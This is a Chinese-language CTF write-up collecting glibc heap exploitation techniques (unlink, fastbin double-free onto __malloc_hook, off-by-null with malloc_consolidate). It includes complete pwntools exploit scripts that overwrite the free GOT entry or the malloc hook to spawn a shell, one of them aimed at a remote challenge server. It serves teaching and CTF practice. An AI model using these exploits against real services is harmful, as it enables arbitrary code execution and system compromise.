【堆利用】heap利用技术

总结一下自己遇到过的ctf heap 类的利用方法,把脚本和思路收集一下。

Unlink技术

第一次接触是在强网杯2018,题目:silent

unlink从最初的没有检查机制,到现在的检查前后chunk,使得unlink的利用变得更加复杂,具体内容参见ctfwiki。检查内容如下:

1
2
3
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

如下图所示,要绕过检查,必须有一个已知指针P保存了被unlink的chunk,

举个比方。想要在free(chunk2)时unlink chunk1,必须有一个已知指针P保存了chunk1的地址,并把chunk1的fd指针和bk指针都指向与P有关的位置。原理如下图:

最后,P中存储的值会被更改为 P-0x18。回到题目上来。

题目链接

程序功能:

  1. malloc一个块,可以指定size大小,读入字符串
  2. free一个块,指针没有清空
  3. 更新一个块的信息,覆盖之前的数据,覆盖的长度取决于strlen

题目分析/利用步骤

用unlink的思路来解决这道题。

1
2
3
add(0x10,"/bin/sh\x00"+"a"*(0xf-8))#0
add(0x10,"/bin/sh\x00"+"a"*(0xf-8))#1
add(0x10,"/bin/sh\x00"+"a"*(0xf-8))#2

先申请3个块,占据bss段中s的前三个8B,构造 s - 0x18 + 3*0x8 = s

在这里我们将P指向 s+3*0x8 (0x6020C0 + 3*0x8),是为了避免P指向 s时,对其进行修改操作时 strlen()返回值为 0,即无法修改。

1
2
3
add(0x10,"/bin/sh\x00"+"a"*(0xf-8))#0
add(0x10,"/bin/sh\x00"+"a"*(0xf-8))#1
add(0x10,"/bin/sh\x00"+"a"*(0xf-8))#2

先申请3个块,占据bss段中s的前三个8B,构造 s - 0x18 + 3*0x8 = s

1
2
3
add(0x100,"a"*0xff)#3
add(0x100,"a"*0xff)#4
add(0x10,"/bin/sh\x00"+"a"*(0xf-8))#5

申请块3,4(释放后属于unsorted bin,可以合并),申请5的目的是防止3和4合并后一路合并到topchunk

1
2
3
4
5
6
bss = 0x6020c0 + 0x18
fd = bss-0x18
bk = bss-0x10
free(3)
free(4)
add(0x210, p64(0x0)+p64(0x101)+p64(fd)+p64(bk)+"b"*(0x100-0x20)+p64(0x100)+p64(0x90)+"c"*0x80+p64(0)+p64(0x21)+"a"*0x10+p64(0)+p64(0x21)+"d"*(0x210-0x1c0-1))#6

这一段非常重要,涉及到伪造chunk

free掉3,4块之后,会被合并为一个大chunk,其大小为(包括chunkhead):0x100+0x10+0x100+0x10 = 0x220。所以我们申请0x210大小的chunk时,会申请到之前3,4合并的地址。

我们在这个0x220大小的chunk中,伪造两个chunk,分隔恰好制造为 s[4]指针指向的地方。再布置好s[3]chunk里的fd,bk,就可以进行一次unlink。

解释一长串的字符串:

p64(0x0) + p64(0x101) + p64(fd) + p64(bk) :构造第一个假chunk,其大小为之前的大小(0x100+0x10)减去0x10字节(损失了一个chunk head)。构造0x101表示前一堆块正在使用,不合并。

"b" * (0x100 - 0x20) :充填。

p64(0x100) + p64(0x90) + "c"*0x80 :构造prev_size和size位,添加充填。

p64(0) + p64(0x21) + "a"*0x10 :构造第三个chunk

p64(0) + p64(0x21) + "d"*(0x210-0x1c0-1) :构造第四个chunk

为啥要构造第四个chunk?

为了检查第三个chunk是否在使用。

1
2
3
free(4)
update(3, "\x18\x20\x60\x00", "b"*0x2f)
update(0, "\x30\x07\x40\x00\x00\x00", "b"*0x2d)

释放掉chunk4,unlink完成,s[3]的指针被修改为&s

0x602018是free函数的got表地址。

update(3) 将s[0]的指针修改为free函数的got表地址

update(0) 将free函数的got表值修改为system函数值

这样之后释放 chunk2时,调用free(s[2])就等于调用system(s[2]),

而 s[2] 中存字符串 “/bin/sh\x00”,所以调用delete(2)会弹shell。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

from pwn import *
context.log_level = 'debug'

#p=process("./silent")
p=remote("39.107.32.132",10001)
#gdb.attach(p,"b *0x400b0f ")
def add(size, s):
p.sendline('1')
p.sendline(str(size))
p.send(s)
def update(key, data1, data2):
p.sendline("3")
p.sendline("")
p.sendline(str(key))
p.send(data1)
p.send(data2)
def free(key):
p.sendline("2")
p.sendline(str(key))

bss=0x6020C0+0x18
f=bss-0x18
b=bss-0x10
p.recvuntil('\n')
#p.recvuntil(';;:.')
add(0x10,"/bin/sh\x00"+"a"*(0xf-8))#0
add(0x10,"/bin/sh\x00"+"a"*(0xf-8))#1
add(0x10,"/bin/sh\x00"+"a"*(0xf-8))#2

add(0x100,"a"*0xff)#3
add(0x100,"a"*0xff)#4
add(0x10,"/bin/sh\x00"+"a"*(0xf-8))#5
free(3)
free(4)
add(0x210,p64(0x0)+p64(0x101)+p64(f)+p64(b)+"b"*(0x100-0x20)+p64(0x100)+p64(0x90)+"c"*0x80+p64(0)+p64(0x21)+"a"*0x10+p64(0)+p64(0x21)+"d"*(0x210-0x1c0-1))#6
free(4)
update(3, "\x18\x20\x60\x00", "b"*0x2f)
update(0, "\x30\x07\x40\x00\x00\x00", "b"*0x2d)
p.sendline("2")
p.sendline("2")
p.sendline("2")
#p.sendline("5")


p.interactive()

Fastbin Attack

一个简单粗暴的技术,可以让fastbin分配到(伪)任意位置,从而实现(伪)任意地址写。然而2.27版本的tcache毒化比这个更加无脑,显得fastbin有些鸡肋了,但并不影响fastbin attack的重要地位。

这里随便找了个题演示。题目链接

题目分析

利用unsortedbin泄漏libc地址,将fake chunk布置在libc的malloc_hook之前

unsorted bin只有一个块时,其前后项指针都会指向位于libc中的main_arena中。我们增加一个advertisement之后再释放,将其置入unsortedbin,然后增加一个poster,此时会从unsortedbin中切出poster大小的chunk。由于系统并未清除chunk中的信息,我们读出后可以得到libc的地址信息。

利用fastbin的double free,我们在libc的malloc_hook之前的位置构造一个伪chunk,欺骗系统将其分配给我们,从而可以修改malloc_hook,改为one_gadget的地址。在调用malloc之前执行,从而控制程序流,getshell。

利用步骤

  1. 确定main_arena的偏移,获得libc地址:

    unsortedbin只有一个块时,其前后指针都会指向main_arena,位于libc中。我们先确定main_arena在libc中的偏移。

    寻找malloc_trim函数,ida中反汇编如下:

    1563870112187

    即偏移地址是0x3c4b20

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
       #申请一个ad,放入unsortedbin中
    ad('abcdefgh') #0
    post('abcdefgh') #1
    delete(0)
    #读出libc地址
    main_arena = 0x3c4b20
    post('deadbeef')
    show()
    p.recvuntil('deadbeef')
    arena_addr = u64(p.recv(6)+'\x00\x00')

    但是在实际调试的过程中发现算出的地址和实际的地址相差0x100个字节

    经过调试,在申请unsortedbin的chunk之前,该chunk保存的前后指针如下,是main_arena+88

    但是申请之后,得到的chunk内部数据是:1563870275171

    增加了0x100。可能是因为这里对unsortedbin进行了切割,因此修改了内部的数据。

    所以在泄漏地址时额外减去0x100即可。

    1
    libc_base = arena_addr - main_arena - 88 - 0x100
  2. 确定fake chunk应该布置的位置

    找到malloc_hook的位置,前面有libc的地址,高位字节是0x7f,可以利用fastbinattack来申请到该位置的内存。

    1563870477057

    在malloc_hook-0x3-0x10的位置作为fastbin的chunkhead

    1563870621856

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #进行fastbin double free
    post('2222222') #2
    post('3333333') #3
    delete(2)
    delete(3)
    delete(2)

    #将fastbin的fd指针修改为malloc_hook-0x3-0x10
    post(p64(libc_base + libc.symbols['__malloc_hook'] - 0x10 - 0x3)) #4
  1. 确定one_gadget的地址

    1563870733457

    one_gadget1 = 0x45216 + libc_base

    one_gadget2 = 0x4526a + libc_base

    one_gadget3 = 0xf02a4 + libc_base

    one_gadget4 = 0xf1147 + libc_base

    依次尝试,最后发现one_gadget3可以用。

    1
    2
    3
    4
    5
    6
    post('/bin/sh')#5
    post('/bin/sh')#6
    post('\x00\x00\x00'+p64(one_gadget3))
    delete(5)

    p.interactive()

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding:utf-8 -*-
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug'

p = process("./main")
elf = ELF("./main")
libc = ELF("./libc.so.6")
#gdb.attach(p,
'''
b *0x400986
c
'''
#)

def post(content):
p.sendlineafter('Your Choice:', '1')
p.sendafter('Enter the Content:', content)

def edit(idx, content):
p.sendlineafter('Your Choice:', '2')
p.sendlineafter('Enter the Index:', str(idx))
p.sendafter('Enter the Content:', content)


def delete(idx):
p.sendlineafter('Your Choice:', '3')
p.sendlineafter('Enter the Index:', str(idx))

def show():
p.sendlineafter('Your Choice:', '4')

def ad(content):
p.sendlineafter('Your Choice:', '5')
p.sendafter('Enter the Content:', content)

#申请一个ad,放入unsortedbin中
ad('abcdefgh') #0
post('abcdefgh') #1
delete(0)

#读出libc地址
main_arena = 0x3c4b20
post('deadbeef')
show()
p.recvuntil('deadbeef')
arena_addr = u64(p.recv(6)+'\x00\x00')
libc_base = arena_addr - main_arena - 88 - 0x100
#stdin_addr = libc_base+libc.symbols['_IO_2_1_stdin_']
#system_addr = libc_base + libc.symbols['system']
#free_addr = libc_base + libc.symbols['free']
one_gadget1 = 0x45216 + libc_base
one_gadget2 = 0x4526a + libc_base
one_gadget3 = 0xf02a4 + libc_base
one_gadget4 = 0xf1147 + libc_base

#申请fakechunk: 0x60208d

post('2222222') #2
post('3333333') #3
delete(2)
delete(3)
delete(2)
post(p64(libc_base + libc.symbols['__malloc_hook'] - 0x10 - 0x3)) #4
post('/bin/sh')#5
post('/bin/sh')#6
post('\x00\x00\x00'+p64(one_gadget3))

delete(5)

p.interactive()

off by null

一般情况下,需要能申请的 chunk 大于 0x100,这样 off by null 可以溢出覆盖 prev_inuse 标志位,否则直接将整个 chunk size 覆盖为 0 了。

先上一道特殊的题:hctf2018 heapstorm_zero

利用分析

本题限制了申请 chunk 必须小于等于 0x38,因此必定是 fastbin,此时只有 offbynull 不足以利用。

tip1:scanf() 函数在读取字符串时,如果字符串较大,会调用 malloc 申请一个块大内存来暂时保存。

tip2:malloc 分配内存时,先检查 fastbin, smallbin, unsortedbin, largebin,如果都没有合适的 chunk,则会分割 top_chunk。然而此时会触发堆块合并,会尝试将相邻的 fastbin 合并,保存至 unsortedbin 中。

malloc.c _int_malloc 程序部分截图

所以,申请 10 个 fastbin chunk,释放后通过 scanf 分配一个超大 chunk,触发malloc_consolidate 将 fastbin chunk 合并,从而在 unsortedbin 中得到一个大 chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
add(0x28, 'a') # 1
add(0x28, 'a') # 2
add(0x18, 'a') # 3
add(0x18, 'a') # 4
add(0x38, 'x') # 5
add(0x28, 'x') # 6
add(0x38, 'x') # 7
add(0x38, 'x') # 8
add(0x38, 'x') # 9
...
for i in range(1, 11):
dele(i)
triger_consolidate()

触发 consolidate 之前:

image-20201007120448714

理论上,合并后的 chunk 大小为 10 * 0x8 + (0x28*3 + 0x18*2 + 0x38*5) = 0x210

image-20201007120836065